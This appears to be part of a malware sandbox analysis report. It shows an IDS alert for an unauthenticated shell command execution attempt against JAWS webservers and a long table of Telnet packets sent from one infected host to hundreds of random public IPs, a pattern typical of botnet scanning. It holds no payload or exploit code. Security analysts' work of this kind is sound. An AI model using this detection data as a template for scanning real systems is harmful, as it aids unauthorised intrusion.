2024-12-03T22:02:26.516614+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	52012	93.51.131.216	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 22:01:58.858143091 CET	39808	23	192.168.2.14	88.1.244.236
Dec 3, 2024 22:01:58.858198881 CET	39808	23	192.168.2.14	38.95.229.27
Dec 3, 2024 22:01:58.858203888 CET	39808	23	192.168.2.14	195.12.82.65
Dec 3, 2024 22:01:58.858210087 CET	39808	23	192.168.2.14	152.130.184.112
Dec 3, 2024 22:01:58.858264923 CET	39808	23	192.168.2.14	146.246.97.147
Dec 3, 2024 22:01:58.858264923 CET	39808	23	192.168.2.14	169.230.214.202
Dec 3, 2024 22:01:58.858274937 CET	39808	23	192.168.2.14	62.127.238.207
Dec 3, 2024 22:01:58.858280897 CET	39808	23	192.168.2.14	111.124.134.147
Dec 3, 2024 22:01:58.858292103 CET	39808	23	192.168.2.14	183.133.218.53
Dec 3, 2024 22:01:58.858310938 CET	39808	23	192.168.2.14	153.239.148.152
Dec 3, 2024 22:01:58.858310938 CET	39808	23	192.168.2.14	142.204.29.122
Dec 3, 2024 22:01:58.858338118 CET	39808	23	192.168.2.14	91.95.42.207
Dec 3, 2024 22:01:58.858340025 CET	39808	23	192.168.2.14	124.91.80.190
Dec 3, 2024 22:01:58.858338118 CET	39808	23	192.168.2.14	116.72.17.172
Dec 3, 2024 22:01:58.858340025 CET	39808	23	192.168.2.14	23.168.68.119
Dec 3, 2024 22:01:58.858338118 CET	39808	23	192.168.2.14	93.62.255.42
Dec 3, 2024 22:01:58.858338118 CET	39808	23	192.168.2.14	106.220.223.130
Dec 3, 2024 22:01:58.858345032 CET	39808	23	192.168.2.14	191.131.165.43
Dec 3, 2024 22:01:58.858345985 CET	39808	23	192.168.2.14	216.171.242.91
Dec 3, 2024 22:01:58.858350039 CET	39808	23	192.168.2.14	117.232.217.238
Dec 3, 2024 22:01:58.858375072 CET	39808	23	192.168.2.14	170.83.21.69
Dec 3, 2024 22:01:58.858381987 CET	39808	23	192.168.2.14	142.4.6.117
Dec 3, 2024 22:01:58.858385086 CET	39808	23	192.168.2.14	145.138.75.228
Dec 3, 2024 22:01:58.858392000 CET	39808	23	192.168.2.14	144.205.131.206
Dec 3, 2024 22:01:58.858395100 CET	39808	23	192.168.2.14	222.27.97.29
Dec 3, 2024 22:01:58.858417034 CET	39808	23	192.168.2.14	172.197.116.177
Dec 3, 2024 22:01:58.858418941 CET	39808	23	192.168.2.14	64.89.201.49
Dec 3, 2024 22:01:58.858437061 CET	39808	23	192.168.2.14	202.204.33.118
Dec 3, 2024 22:01:58.858443975 CET	39808	23	192.168.2.14	92.168.196.91
Dec 3, 2024 22:01:58.858469963 CET	39808	23	192.168.2.14	186.180.107.59
Dec 3, 2024 22:01:58.858481884 CET	39808	23	192.168.2.14	99.10.90.130
Dec 3, 2024 22:01:58.858481884 CET	39808	23	192.168.2.14	125.131.122.4
Dec 3, 2024 22:01:58.858500957 CET	39808	23	192.168.2.14	131.130.141.24
Dec 3, 2024 22:01:58.858508110 CET	39808	23	192.168.2.14	186.166.60.155
Dec 3, 2024 22:01:58.858514071 CET	39808	23	192.168.2.14	173.153.246.57
Dec 3, 2024 22:01:58.858522892 CET	39808	23	192.168.2.14	126.59.182.188
Dec 3, 2024 22:01:58.858522892 CET	39808	23	192.168.2.14	204.34.41.59
Dec 3, 2024 22:01:58.858535051 CET	39808	23	192.168.2.14	78.199.132.226
Dec 3, 2024 22:01:58.858541012 CET	39808	23	192.168.2.14	150.128.241.217
Dec 3, 2024 22:01:58.858544111 CET	39808	23	192.168.2.14	124.125.217.192
Dec 3, 2024 22:01:58.858546972 CET	39808	23	192.168.2.14	142.82.141.39
Dec 3, 2024 22:01:58.858550072 CET	39808	23	192.168.2.14	135.158.40.44
Dec 3, 2024 22:01:58.858623028 CET	39808	23	192.168.2.14	105.78.41.251
Dec 3, 2024 22:01:58.858623981 CET	39808	23	192.168.2.14	185.90.64.95
Dec 3, 2024 22:01:58.858627081 CET	39808	23	192.168.2.14	104.205.13.56
Dec 3, 2024 22:01:58.858627081 CET	39808	23	192.168.2.14	51.248.95.215
Dec 3, 2024 22:01:58.858640909 CET	39808	23	192.168.2.14	99.224.130.56
Dec 3, 2024 22:01:58.858642101 CET	39808	23	192.168.2.14	103.195.67.99
Dec 3, 2024 22:01:58.858642101 CET	39808	23	192.168.2.14	14.185.187.172
Dec 3, 2024 22:01:58.858644962 CET	39808	23	192.168.2.14	35.218.10.41
Dec 3, 2024 22:01:58.858666897 CET	39808	23	192.168.2.14	47.125.46.175
Dec 3, 2024 22:01:58.858685017 CET	39808	23	192.168.2.14	192.56.147.243
Dec 3, 2024 22:01:58.858686924 CET	39808	23	192.168.2.14	97.131.167.155
Dec 3, 2024 22:01:58.858685970 CET	39808	23	192.168.2.14	220.47.201.255
Dec 3, 2024 22:01:58.858711004 CET	39808	23	192.168.2.14	130.13.243.10
Dec 3, 2024 22:01:58.858712912 CET	39808	23	192.168.2.14	213.143.113.39
Dec 3, 2024 22:01:58.858721972 CET	39808	23	192.168.2.14	68.237.87.85
Dec 3, 2024 22:01:58.858735085 CET	39808	23	192.168.2.14	222.2.232.32
Dec 3, 2024 22:01:58.858735085 CET	39808	23	192.168.2.14	73.243.173.96
Dec 3, 2024 22:01:58.858736992 CET	39808	23	192.168.2.14	205.124.245.223
Dec 3, 2024 22:01:58.858736992 CET	39808	23	192.168.2.14	2.129.173.157
Dec 3, 2024 22:01:58.858738899 CET	39808	23	192.168.2.14	196.99.72.209
Dec 3, 2024 22:01:58.858738899 CET	39808	23	192.168.2.14	171.27.175.79
Dec 3, 2024 22:01:58.858738899 CET	39808	23	192.168.2.14	208.217.159.131
Dec 3, 2024 22:01:58.858738899 CET	39808	23	192.168.2.14	106.77.235.132
Dec 3, 2024 22:01:58.858755112 CET	39808	23	192.168.2.14	82.254.136.27
Dec 3, 2024 22:01:58.858764887 CET	39808	23	192.168.2.14	43.23.99.86
Dec 3, 2024 22:01:58.858778954 CET	39808	23	192.168.2.14	117.233.67.169
Dec 3, 2024 22:01:58.858782053 CET	39808	23	192.168.2.14	188.253.112.75
Dec 3, 2024 22:01:58.858783960 CET	39808	23	192.168.2.14	20.14.204.126
Dec 3, 2024 22:01:58.858783960 CET	39808	23	192.168.2.14	155.50.45.18
Dec 3, 2024 22:01:58.858798027 CET	39808	23	192.168.2.14	14.153.65.202
Dec 3, 2024 22:01:58.858824968 CET	39808	23	192.168.2.14	156.240.185.219
Dec 3, 2024 22:01:58.858828068 CET	39808	23	192.168.2.14	1.239.101.179
Dec 3, 2024 22:01:58.858830929 CET	39808	23	192.168.2.14	162.46.218.176
Dec 3, 2024 22:01:58.858834982 CET	39808	23	192.168.2.14	67.180.98.243
Dec 3, 2024 22:01:58.858834982 CET	39808	23	192.168.2.14	126.148.132.253
Dec 3, 2024 22:01:58.858849049 CET	39808	23	192.168.2.14	52.91.151.172
Dec 3, 2024 22:01:58.858850002 CET	39808	23	192.168.2.14	108.112.212.96
Dec 3, 2024 22:01:58.858860016 CET	39808	23	192.168.2.14	67.40.245.225
Dec 3, 2024 22:01:58.858860016 CET	39808	23	192.168.2.14	201.129.88.31
Dec 3, 2024 22:01:58.858871937 CET	39808	23	192.168.2.14	47.248.152.173
Dec 3, 2024 22:01:58.858887911 CET	39808	23	192.168.2.14	170.91.216.174
Dec 3, 2024 22:01:58.858891964 CET	39808	23	192.168.2.14	95.227.78.135
Dec 3, 2024 22:01:58.858897924 CET	39808	23	192.168.2.14	89.194.108.25
Dec 3, 2024 22:01:58.858897924 CET	39808	23	192.168.2.14	40.155.128.115
Dec 3, 2024 22:01:58.858907938 CET	39808	23	192.168.2.14	88.107.175.7
Dec 3, 2024 22:01:58.858911037 CET	39808	23	192.168.2.14	136.143.136.35
Dec 3, 2024 22:01:58.858932018 CET	39808	23	192.168.2.14	154.202.115.241
Dec 3, 2024 22:01:58.858946085 CET	39808	23	192.168.2.14	210.27.29.242
Dec 3, 2024 22:01:58.858949900 CET	39808	23	192.168.2.14	128.204.216.196
Dec 3, 2024 22:01:58.858963013 CET	39808	23	192.168.2.14	169.39.219.20
Dec 3, 2024 22:01:58.858963013 CET	39808	23	192.168.2.14	112.149.250.58
Dec 3, 2024 22:01:58.858964920 CET	39808	23	192.168.2.14	138.63.176.196
Dec 3, 2024 22:01:58.858969927 CET	39808	23	192.168.2.14	150.189.201.33
Dec 3, 2024 22:01:58.858982086 CET	39808	23	192.168.2.14	95.217.197.176
Dec 3, 2024 22:01:58.858982086 CET	39808	23	192.168.2.14	51.55.108.93
Dec 3, 2024 22:01:58.858985901 CET	39808	23	192.168.2.14	155.9.222.129
Dec 3, 2024 22:01:58.858989954 CET	39808	23	192.168.2.14	103.187.236.218
Dec 3, 2024 22:01:58.858999968 CET	39808	23	192.168.2.14	183.133.78.128
Dec 3, 2024 22:01:58.859004021 CET	39808	23	192.168.2.14	105.193.226.247
Dec 3, 2024 22:01:58.859013081 CET	39808	23	192.168.2.14	77.127.129.156
Dec 3, 2024 22:01:58.859029055 CET	39808	23	192.168.2.14	35.238.28.102
Dec 3, 2024 22:01:58.859051943 CET	39808	23	192.168.2.14	151.1.115.138
Dec 3, 2024 22:01:58.859062910 CET	39808	23	192.168.2.14	184.164.106.155
Dec 3, 2024 22:01:58.859065056 CET	39808	23	192.168.2.14	141.237.89.40
Dec 3, 2024 22:01:58.859065056 CET	39808	23	192.168.2.14	66.41.182.126
Dec 3, 2024 22:01:58.859076023 CET	39808	23	192.168.2.14	66.159.122.149
Dec 3, 2024 22:01:58.859076023 CET	39808	23	192.168.2.14	42.247.151.66
Dec 3, 2024 22:01:58.859078884 CET	39808	23	192.168.2.14	174.251.211.233
Dec 3, 2024 22:01:58.859093904 CET	39808	23	192.168.2.14	54.158.155.223
Dec 3, 2024 22:01:58.859102964 CET	39808	23	192.168.2.14	9.54.58.230
Dec 3, 2024 22:01:58.859113932 CET	39808	23	192.168.2.14	58.68.212.76
Dec 3, 2024 22:01:58.859113932 CET	39808	23	192.168.2.14	66.105.114.252
Dec 3, 2024 22:01:58.859121084 CET	39808	23	192.168.2.14	67.157.218.251
Dec 3, 2024 22:01:58.859126091 CET	39808	23	192.168.2.14	131.222.167.83
Dec 3, 2024 22:01:58.859142065 CET	39808	23	192.168.2.14	65.156.165.52
Dec 3, 2024 22:01:58.859148026 CET	39808	23	192.168.2.14	58.224.40.169
Dec 3, 2024 22:01:58.859158039 CET	39808	23	192.168.2.14	37.212.138.113
Dec 3, 2024 22:01:58.859164953 CET	39808	23	192.168.2.14	201.184.28.151
Dec 3, 2024 22:01:58.859179020 CET	39808	23	192.168.2.14	128.234.5.170
Dec 3, 2024 22:01:58.859179974 CET	39808	23	192.168.2.14	73.157.83.254
Dec 3, 2024 22:01:58.859179974 CET	39808	23	192.168.2.14	129.248.163.28
Dec 3, 2024 22:01:58.859188080 CET	39808	23	192.168.2.14	47.157.204.200
Dec 3, 2024 22:01:58.859201908 CET	39808	23	192.168.2.14	106.25.214.81
Dec 3, 2024 22:01:58.859203100 CET	39808	23	192.168.2.14	153.135.122.232
Dec 3, 2024 22:01:58.859204054 CET	39808	23	192.168.2.14	66.203.169.117
Dec 3, 2024 22:01:58.859208107 CET	39808	23	192.168.2.14	148.220.253.39
Dec 3, 2024 22:01:58.859220028 CET	39808	23	192.168.2.14	169.214.15.67
Dec 3, 2024 22:01:58.859225035 CET	39808	23	192.168.2.14	184.94.60.178
Dec 3, 2024 22:01:58.859227896 CET	39808	23	192.168.2.14	144.133.229.210
Dec 3, 2024 22:01:58.859242916 CET	39808	23	192.168.2.14	68.209.170.218
Dec 3, 2024 22:01:58.859263897 CET	39808	23	192.168.2.14	131.254.28.120
Dec 3, 2024 22:01:58.859287024 CET	39808	23	192.168.2.14	193.127.42.29
Dec 3, 2024 22:01:58.859291077 CET	39808	23	192.168.2.14	63.18.122.208
Dec 3, 2024 22:01:58.859291077 CET	39808	23	192.168.2.14	23.56.15.139
Dec 3, 2024 22:01:58.859291077 CET	39808	23	192.168.2.14	24.2.194.115
Dec 3, 2024 22:01:58.859291077 CET	39808	23	192.168.2.14	190.102.204.218
Dec 3, 2024 22:01:58.859291077 CET	39808	23	192.168.2.14	212.8.7.232
Dec 3, 2024 22:01:58.859292030 CET	39808	23	192.168.2.14	207.128.239.144
Dec 3, 2024 22:01:58.859293938 CET	39808	23	192.168.2.14	14.216.223.240
Dec 3, 2024 22:01:58.859292030 CET	39808	23	192.168.2.14	12.150.197.151
Dec 3, 2024 22:01:58.859303951 CET	39808	23	192.168.2.14	69.212.203.34
Dec 3, 2024 22:01:58.859328985 CET	39808	23	192.168.2.14	85.139.247.50
Dec 3, 2024 22:01:58.859338045 CET	39808	23	192.168.2.14	57.84.87.116
Dec 3, 2024 22:01:58.859354019 CET	39808	23	192.168.2.14	108.110.95.206
Dec 3, 2024 22:01:58.859360933 CET	39808	23	192.168.2.14	152.190.164.185
Dec 3, 2024 22:01:58.859364986 CET	39808	23	192.168.2.14	63.217.218.97
Dec 3, 2024 22:01:58.859369993 CET	39808	23	192.168.2.14	88.77.193.29
Dec 3, 2024 22:01:58.859373093 CET	39808	23	192.168.2.14	99.107.230.202
Dec 3, 2024 22:01:58.859381914 CET	39808	23	192.168.2.14	34.70.186.88
Dec 3, 2024 22:01:58.859385967 CET	39808	23	192.168.2.14	1.123.233.106
Dec 3, 2024 22:01:58.859395027 CET	39808	23	192.168.2.14	89.241.1.169
Dec 3, 2024 22:01:58.859395027 CET	39808	23	192.168.2.14	208.147.56.45
Dec 3, 2024 22:01:58.859400034 CET	39808	23	192.168.2.14	19.245.163.221
Dec 3, 2024 22:01:58.859414101 CET	39808	23	192.168.2.14	211.203.16.142
Dec 3, 2024 22:01:58.859436989 CET	39808	23	192.168.2.14	50.169.140.7
Dec 3, 2024 22:01:58.859447956 CET	39808	23	192.168.2.14	185.168.209.204
Dec 3, 2024 22:01:58.859460115 CET	39808	23	192.168.2.14	200.100.48.51
Dec 3, 2024 22:01:58.859462976 CET	39808	23	192.168.2.14	51.174.128.211
Dec 3, 2024 22:01:58.859466076 CET	39808	23	192.168.2.14	66.205.201.33
Dec 3, 2024 22:01:58.859483004 CET	39808	23	192.168.2.14	192.105.201.190
Dec 3, 2024 22:01:58.859483004 CET	39808	23	192.168.2.14	115.235.8.185
Dec 3, 2024 22:01:58.859483004 CET	39808	23	192.168.2.14	99.226.62.27
Dec 3, 2024 22:01:58.859510899 CET	39808	23	192.168.2.14	141.210.26.6
Dec 3, 2024 22:01:58.859538078 CET	39808	23	192.168.2.14	143.90.166.243
Dec 3, 2024 22:01:58.859539032 CET	39808	23	192.168.2.14	213.81.45.145
Dec 3, 2024 22:01:58.859539032 CET	39808	23	192.168.2.14	102.41.248.228
Dec 3, 2024 22:01:58.859559059 CET	39808	23	192.168.2.14	200.65.82.191
Dec 3, 2024 22:01:58.859559059 CET	39808	23	192.168.2.14	116.2.186.55
Dec 3, 2024 22:01:58.859561920 CET	39808	23	192.168.2.14	201.85.76.167
Dec 3, 2024 22:01:58.859568119 CET	39808	23	192.168.2.14	14.77.253.134
Dec 3, 2024 22:01:58.859574080 CET	39808	23	192.168.2.14	117.183.74.49
Dec 3, 2024 22:01:58.859576941 CET	39808	23	192.168.2.14	177.211.248.56
Dec 3, 2024 22:01:58.859581947 CET	39808	23	192.168.2.14	148.39.8.144
Dec 3, 2024 22:01:58.859581947 CET	39808	23	192.168.2.14	206.183.246.160
Dec 3, 2024 22:01:58.859591007 CET	39808	23	192.168.2.14	41.55.227.107
Dec 3, 2024 22:01:58.859591961 CET	39808	23	192.168.2.14	88.163.163.146
Dec 3, 2024 22:01:58.859594107 CET	39808	23	192.168.2.14	139.253.65.107
Dec 3, 2024 22:01:58.859605074 CET	39808	23	192.168.2.14	213.31.184.97
Dec 3, 2024 22:01:58.859605074 CET	39808	23	192.168.2.14	203.23.254.57
Dec 3, 2024 22:01:58.859617949 CET	39808	23	192.168.2.14	174.87.8.99
Dec 3, 2024 22:01:58.859623909 CET	39808	23	192.168.2.14	5.161.125.141
Dec 3, 2024 22:01:58.859625101 CET	39808	23	192.168.2.14	139.149.22.211
Dec 3, 2024 22:01:58.859639883 CET	39808	23	192.168.2.14	114.186.115.77
Dec 3, 2024 22:01:58.859648943 CET	39808	23	192.168.2.14	142.19.179.207
Dec 3, 2024 22:01:58.859667063 CET	39808	23	192.168.2.14	187.53.160.0
Dec 3, 2024 22:01:58.859673023 CET	39808	23	192.168.2.14	218.163.69.216
Dec 3, 2024 22:01:58.859692097 CET	39808	23	192.168.2.14	173.219.227.140
Dec 3, 2024 22:01:58.859692097 CET	39808	23	192.168.2.14	124.242.183.54
Dec 3, 2024 22:01:58.859700918 CET	39808	23	192.168.2.14	107.53.11.222
Dec 3, 2024 22:01:58.859700918 CET	39808	23	192.168.2.14	57.22.111.90
Dec 3, 2024 22:01:58.859709024 CET	39808	23	192.168.2.14	212.141.131.75
Dec 3, 2024 22:01:58.859709024 CET	39808	23	192.168.2.14	219.29.160.252
Dec 3, 2024 22:01:58.859724998 CET	39808	23	192.168.2.14	166.237.24.183
Dec 3, 2024 22:01:58.859729052 CET	39808	23	192.168.2.14	222.181.98.222
Dec 3, 2024 22:01:58.859733105 CET	39808	23	192.168.2.14	91.105.100.94
Dec 3, 2024 22:01:58.859743118 CET	39808	23	192.168.2.14	180.44.37.169
Dec 3, 2024 22:01:58.859754086 CET	39808	23	192.168.2.14	12.106.187.207
Dec 3, 2024 22:01:58.859771967 CET	39808	23	192.168.2.14	126.22.191.174
Dec 3, 2024 22:01:58.859790087 CET	39808	23	192.168.2.14	131.215.87.40
Dec 3, 2024 22:01:58.859805107 CET	39808	23	192.168.2.14	136.137.170.47
Dec 3, 2024 22:01:58.859806061 CET	39808	23	192.168.2.14	76.117.63.4
Dec 3, 2024 22:01:58.859817982 CET	39808	23	192.168.2.14	114.200.201.133
Dec 3, 2024 22:01:58.859822035 CET	39808	23	192.168.2.14	123.3.123.250
Dec 3, 2024 22:01:58.859822035 CET	39808	23	192.168.2.14	161.121.240.104
Dec 3, 2024 22:01:58.859822035 CET	39808	23	192.168.2.14	50.93.54.195
Dec 3, 2024 22:01:58.859831095 CET	39808	23	192.168.2.14	132.13.128.6
Dec 3, 2024 22:01:58.859843016 CET	39808	23	192.168.2.14	1.172.201.49
Dec 3, 2024 22:01:58.859843016 CET	39808	23	192.168.2.14	202.128.96.21
Dec 3, 2024 22:01:58.859857082 CET	39808	23	192.168.2.14	120.249.122.58
Dec 3, 2024 22:01:58.859874010 CET	39808	23	192.168.2.14	68.25.27.40
Dec 3, 2024 22:01:58.859879017 CET	39808	23	192.168.2.14	8.241.73.235
Dec 3, 2024 22:01:58.859880924 CET	39808	23	192.168.2.14	216.62.4.47
Dec 3, 2024 22:01:58.859886885 CET	39808	23	192.168.2.14	186.202.58.92
Dec 3, 2024 22:01:58.859886885 CET	39808	23	192.168.2.14	199.65.9.95
Dec 3, 2024 22:01:58.859894991 CET	39808	23	192.168.2.14	172.56.69.254
Dec 3, 2024 22:01:58.859918118 CET	39808	23	192.168.2.14	165.99.60.208
Dec 3, 2024 22:01:58.859918118 CET	39808	23	192.168.2.14	57.156.242.100
Dec 3, 2024 22:01:58.859926939 CET	39808	23	192.168.2.14	106.143.201.28
Dec 3, 2024 22:01:58.859940052 CET	39808	23	192.168.2.14	106.6.201.33
Dec 3, 2024 22:01:58.859940052 CET	39808	23	192.168.2.14	40.225.73.33
Dec 3, 2024 22:01:58.859951019 CET	39808	23	192.168.2.14	54.130.42.203
Dec 3, 2024 22:01:58.859951019 CET	39808	23	192.168.2.14	130.184.173.14
Dec 3, 2024 22:01:58.859966993 CET	39808	23	192.168.2.14	211.250.115.98
Dec 3, 2024 22:01:58.859971046 CET	39808	23	192.168.2.14	101.235.32.87
Dec 3, 2024 22:01:58.859971046 CET	39808	23	192.168.2.14	95.211.164.236
Dec 3, 2024 22:01:58.859972000 CET	39808	23	192.168.2.14	164.60.157.81
Dec 3, 2024 22:01:58.859972000 CET	39808	23	192.168.2.14	154.38.228.6
Dec 3, 2024 22:01:58.859993935 CET	39808	23	192.168.2.14	113.230.142.114
Dec 3, 2024 22:01:58.859993935 CET	39808	23	192.168.2.14	125.57.193.73
Dec 3, 2024 22:01:58.860006094 CET	39808	23	192.168.2.14	172.216.0.68
Dec 3, 2024 22:01:58.860028028 CET	39808	23	192.168.2.14	60.245.116.97
Dec 3, 2024 22:01:58.860029936 CET	39808	23	192.168.2.14	116.148.182.46
Dec 3, 2024 22:01:58.860055923 CET	39808	23	192.168.2.14	14.70.66.130
Dec 3, 2024 22:01:58.860055923 CET	39808	23	192.168.2.14	170.190.200.211
Dec 3, 2024 22:01:58.860055923 CET	39808	23	192.168.2.14	143.208.60.133
Dec 3, 2024 22:01:58.860055923 CET	39808	23	192.168.2.14	77.132.174.7
Dec 3, 2024 22:01:58.860064983 CET	39808	23	192.168.2.14	37.49.211.234
Dec 3, 2024 22:01:58.860085011 CET	39808	23	192.168.2.14	181.156.202.250
Dec 3, 2024 22:01:58.860088110 CET	39808	23	192.168.2.14	223.109.239.106
Dec 3, 2024 22:01:58.860090017 CET	39808	23	192.168.2.14	149.108.81.175
Dec 3, 2024 22:01:58.860101938 CET	39808	23	192.168.2.14	161.207.179.41
Dec 3, 2024 22:01:58.860110998 CET	39808	23	192.168.2.14	117.45.210.30
Dec 3, 2024 22:01:58.860125065 CET	39808	23	192.168.2.14	185.36.73.181
Dec 3, 2024 22:01:58.860129118 CET	39808	23	192.168.2.14	116.37.173.202
Dec 3, 2024 22:01:58.860129118 CET	39808	23	192.168.2.14	132.64.73.143
Dec 3, 2024 22:01:58.860162020 CET	39808	23	192.168.2.14	54.251.76.8
Dec 3, 2024 22:01:58.860172033 CET	39808	23	192.168.2.14	211.158.166.227
Dec 3, 2024 22:01:58.860172987 CET	39808	23	192.168.2.14	161.184.46.131
Dec 3, 2024 22:01:58.860176086 CET	39808	23	192.168.2.14	91.126.190.78
Dec 3, 2024 22:01:58.860176086 CET	39808	23	192.168.2.14	133.213.20.112
Dec 3, 2024 22:01:58.860189915 CET	39808	23	192.168.2.14	158.158.82.123
Dec 3, 2024 22:01:58.860194921 CET	39808	23	192.168.2.14	116.106.247.119
Dec 3, 2024 22:01:58.860204935 CET	39808	23	192.168.2.14	71.204.135.154
Dec 3, 2024 22:01:58.860204935 CET	39808	23	192.168.2.14	187.172.247.193
Dec 3, 2024 22:01:58.860208035 CET	39808	23	192.168.2.14	111.85.116.101
Dec 3, 2024 22:01:58.860208035 CET	39808	23	192.168.2.14	142.243.189.154
Dec 3, 2024 22:01:58.860224009 CET	39808	23	192.168.2.14	84.15.178.100
Dec 3, 2024 22:01:58.860229015 CET	39808	23	192.168.2.14	221.111.15.27
Dec 3, 2024 22:01:58.860244989 CET	39808	23	192.168.2.14	184.183.211.163
Dec 3, 2024 22:01:58.860251904 CET	39808	23	192.168.2.14	135.251.87.76
Dec 3, 2024 22:01:58.860268116 CET	39808	23	192.168.2.14	128.163.148.139
Dec 3, 2024 22:01:58.860269070 CET	39808	23	192.168.2.14	71.173.24.168
Dec 3, 2024 22:01:58.860270977 CET	39808	23	192.168.2.14	164.217.139.185
Dec 3, 2024 22:01:58.860270023 CET	39808	23	192.168.2.14	24.143.254.58
Dec 3, 2024 22:01:58.860271931 CET	39808	23	192.168.2.14	72.116.169.224
Dec 3, 2024 22:01:58.860270023 CET	39808	23	192.168.2.14	179.179.84.104
Dec 3, 2024 22:01:58.860281944 CET	39808	23	192.168.2.14	207.185.24.120
Dec 3, 2024 22:01:58.860289097 CET	39808	23	192.168.2.14	42.28.15.255
Dec 3, 2024 22:01:58.860291004 CET	39808	23	192.168.2.14	143.119.229.136
Dec 3, 2024 22:01:58.860301971 CET	39808	23	192.168.2.14	158.50.85.232
Dec 3, 2024 22:01:58.860301971 CET	39808	23	192.168.2.14	4.250.12.60
Dec 3, 2024 22:01:58.860321999 CET	39808	23	192.168.2.14	100.61.111.217
Dec 3, 2024 22:01:58.860322952 CET	39808	23	192.168.2.14	210.202.168.73
Dec 3, 2024 22:01:58.860337973 CET	39808	23	192.168.2.14	87.137.87.88
Dec 3, 2024 22:01:58.860342026 CET	39808	23	192.168.2.14	71.212.118.234
Dec 3, 2024 22:01:58.860349894 CET	39808	23	192.168.2.14	32.202.171.104
Dec 3, 2024 22:01:58.860352039 CET	39808	23	192.168.2.14	111.27.92.133
Dec 3, 2024 22:01:58.860354900 CET	39808	23	192.168.2.14	36.197.18.69
Dec 3, 2024 22:01:58.860372066 CET	39808	23	192.168.2.14	117.121.230.42
Dec 3, 2024 22:01:58.860383987 CET	39808	23	192.168.2.14	194.207.175.55
Dec 3, 2024 22:01:58.860383987 CET	39808	23	192.168.2.14	99.48.251.125
Dec 3, 2024 22:01:58.860394955 CET	39808	23	192.168.2.14	106.94.220.97
Dec 3, 2024 22:01:58.860409975 CET	39808	23	192.168.2.14	83.56.229.247
Dec 3, 2024 22:01:58.860424042 CET	39808	23	192.168.2.14	125.126.44.88
Dec 3, 2024 22:01:58.860424042 CET	39808	23	192.168.2.14	202.7.137.232
Dec 3, 2024 22:01:58.860424042 CET	39808	23	192.168.2.14	89.185.233.1
Dec 3, 2024 22:01:58.860428095 CET	39808	23	192.168.2.14	176.81.205.123
Dec 3, 2024 22:01:58.860429049 CET	39808	23	192.168.2.14	82.7.66.223
Dec 3, 2024 22:01:58.860429049 CET	39808	23	192.168.2.14	209.83.91.73
Dec 3, 2024 22:01:58.860445023 CET	39808	23	192.168.2.14	74.42.49.78
Dec 3, 2024 22:01:58.860445023 CET	39808	23	192.168.2.14	95.155.164.70
Dec 3, 2024 22:01:58.860445976 CET	39808	23	192.168.2.14	172.183.173.219
Dec 3, 2024 22:01:58.860452890 CET	39808	23	192.168.2.14	154.10.234.61
Dec 3, 2024 22:01:58.860496998 CET	39808	23	192.168.2.14	180.0.90.140
Dec 3, 2024 22:01:58.860497952 CET	39808	23	192.168.2.14	27.6.69.147
Dec 3, 2024 22:01:58.860498905 CET	39808	23	192.168.2.14	156.158.244.191
Dec 3, 2024 22:01:58.860505104 CET	39808	23	192.168.2.14	197.115.17.12
Dec 3, 2024 22:01:58.860507011 CET	39808	23	192.168.2.14	143.10.226.220
Dec 3, 2024 22:01:58.860507011 CET	39808	23	192.168.2.14	31.237.168.154
Dec 3, 2024 22:01:58.860507011 CET	39808	23	192.168.2.14	205.106.52.153
Dec 3, 2024 22:01:58.860512018 CET	39808	23	192.168.2.14	137.107.180.140
Dec 3, 2024 22:01:58.860512018 CET	39808	23	192.168.2.14	194.173.19.11
Dec 3, 2024 22:01:58.860512018 CET	39808	23	192.168.2.14	163.253.227.202
Dec 3, 2024 22:01:58.860512018 CET	39808	23	192.168.2.14	75.218.173.60
Dec 3, 2024 22:01:58.860512018 CET	39808	23	192.168.2.14	218.95.6.225
Dec 3, 2024 22:01:58.860518932 CET	39808	23	192.168.2.14	34.227.179.213
Dec 3, 2024 22:01:58.860519886 CET	39808	23	192.168.2.14	202.139.124.85
Dec 3, 2024 22:01:58.860519886 CET	39808	23	192.168.2.14	151.55.58.131
Dec 3, 2024 22:01:58.860522032 CET	39808	23	192.168.2.14	19.173.17.26
Dec 3, 2024 22:01:58.860522032 CET	39808	23	192.168.2.14	86.180.78.20
Dec 3, 2024 22:01:58.860524893 CET	39808	23	192.168.2.14	178.218.156.14
Dec 3, 2024 22:01:58.860524893 CET	39808	23	192.168.2.14	149.96.247.250
Dec 3, 2024 22:01:58.860524893 CET	39808	23	192.168.2.14	54.209.208.96
Dec 3, 2024 22:01:58.860524893 CET	39808	23	192.168.2.14	185.110.51.135
Dec 3, 2024 22:01:58.860524893 CET	39808	23	192.168.2.14	175.187.169.28
Dec 3, 2024 22:01:58.860527992 CET	39808	23	192.168.2.14	98.89.77.26
Dec 3, 2024 22:01:58.860527992 CET	39808	23	192.168.2.14	177.132.159.72
Dec 3, 2024 22:01:58.860534906 CET	39808	23	192.168.2.14	48.12.105.160
Dec 3, 2024 22:01:58.860534906 CET	39808	23	192.168.2.14	142.188.138.75
Dec 3, 2024 22:01:58.860534906 CET	39808	23	192.168.2.14	171.2.143.40
Dec 3, 2024 22:01:58.860544920 CET	39808	23	192.168.2.14	151.24.175.52
Dec 3, 2024 22:01:58.860547066 CET	39808	23	192.168.2.14	44.192.124.50
Dec 3, 2024 22:01:58.860547066 CET	39808	23	192.168.2.14	131.144.116.192
Dec 3, 2024 22:01:58.860734940 CET	39808	23	192.168.2.14	100.145.136.1
Dec 3, 2024 22:01:58.860734940 CET	39808	23	192.168.2.14	111.95.2.233
Dec 3, 2024 22:01:58.860734940 CET	39808	23	192.168.2.14	101.39.42.6
Dec 3, 2024 22:01:58.860735893 CET	39808	23	192.168.2.14	99.80.136.165
Dec 3, 2024 22:01:58.860735893 CET	39808	23	192.168.2.14	41.83.8.115
Dec 3, 2024 22:01:58.860737085 CET	39808	23	192.168.2.14	208.148.81.226
Dec 3, 2024 22:01:58.860737085 CET	39808	23	192.168.2.14	32.166.3.239
Dec 3, 2024 22:01:58.860738039 CET	39808	23	192.168.2.14	163.3.233.134
Dec 3, 2024 22:01:58.860738039 CET	39808	23	192.168.2.14	25.117.147.177
Dec 3, 2024 22:01:58.860748053 CET	39808	23	192.168.2.14	194.127.119.121
Dec 3, 2024 22:01:58.860749006 CET	39808	23	192.168.2.14	147.82.225.168
Dec 3, 2024 22:01:58.860749006 CET	39808	23	192.168.2.14	67.104.74.30
Dec 3, 2024 22:01:58.860749006 CET	39808	23	192.168.2.14	9.186.17.180
